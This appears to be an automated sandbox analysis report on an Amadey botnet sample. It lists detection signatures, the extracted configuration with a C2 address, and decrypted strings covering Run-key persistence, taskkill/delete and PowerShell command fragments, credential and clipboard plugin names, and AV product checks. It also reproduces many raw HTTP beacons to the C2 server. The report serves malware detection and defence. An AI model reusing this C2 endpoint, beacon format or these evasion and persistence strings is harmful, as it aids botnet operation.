Windows Analysis Report
W5kZFcSOtE.exe

Overview

General Information

Sample name: W5kZFcSOtE.exe
renamed because original name is a hash value
Original sample name: bb31b5c5ae12d8fd7b3c74d5fe5bcfe6.exe
Analysis ID: 1611803
MD5: bb31b5c5ae12d8fd7b3c74d5fe5bcfe6
SHA1: 15b1baf8fe02a694515a5eccbc28482a9c2312ca
SHA256: 87bb4dea20583ad74de48aa54cd76936d950ed65bc14c61f0fd24f832d0f4d7c
Tags: Amadeyexeuser-abuse_ch
Infos:

Detection

Amadey
Score: 100
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadey
Yara detected Amadeys stealer DLL
C2 URLs / IPs found in malware configuration
Hides threads from debuggers
Joe Sandbox ML detected suspicious sample
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Potentially malicious time measurement code found
Sample uses string decryption to hide its real strings
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: W5kZFcSOtE.exe Avira: detected
Antivirus detection for URL or domain
Source: http://185.215.113.43/Zu7JuNko/index.php5 Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php: Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php-# Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpM# Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpi# Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Jx Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php/index.php Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpQ# Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpHa Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpE Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpqYo30zpOYVp Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpF Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ= Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpQ Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedN Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe ReversingLabs: Detection: 47%
Multi AV Scanner detection for submitted file
Source: W5kZFcSOtE.exe ReversingLabs: Detection: 47%
Source: W5kZFcSOtE.exe Virustotal: Detection: 47% Perma Link
Joe Sandbox ML detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: W5kZFcSOtE.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: 185.215.113.43
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: /Zu7JuNko/index.php
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: S-%lu-
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: abc3bc1985
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: skotes.exe
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Startup
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: cmd /C RMDIR /s/q
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: rundll32
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Programs
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: %USERPROFILE%
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: cred.dll|clip.dll|
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: cred.dll
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: clip.dll
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: http://
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: https://
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: /quiet
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: /Plugins/
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: &unit=
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: shell32.dll
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: kernel32.dll
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: GetNativeSystemInfo
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: ProgramData\
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: AVAST Software
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Kaspersky Lab
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Panda Security
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Doctor Web
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: 360TotalSecurity
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Bitdefender
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Norton
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Sophos
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Comodo
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: WinDefender
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: 0123456789
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: ------
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: ?scr=1
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: ComputerName
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: -unicode-
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: VideoID
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: DefaultSettings.XResolution
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: DefaultSettings.YResolution
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: ProductName
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: CurrentBuild
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: rundll32.exe
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: "taskkill /f /im "
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: " && timeout 1 && del
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: && Exit"
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: " && ren
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: Powershell.exe
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: -executionpolicy remotesigned -File "
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: shutdown -s -t 0
Source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp String decryptor: random
Uses 32bit PE files
Source: W5kZFcSOtE.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49737 -> 185.215.113.43:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor IPs: 185.215.113.43
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
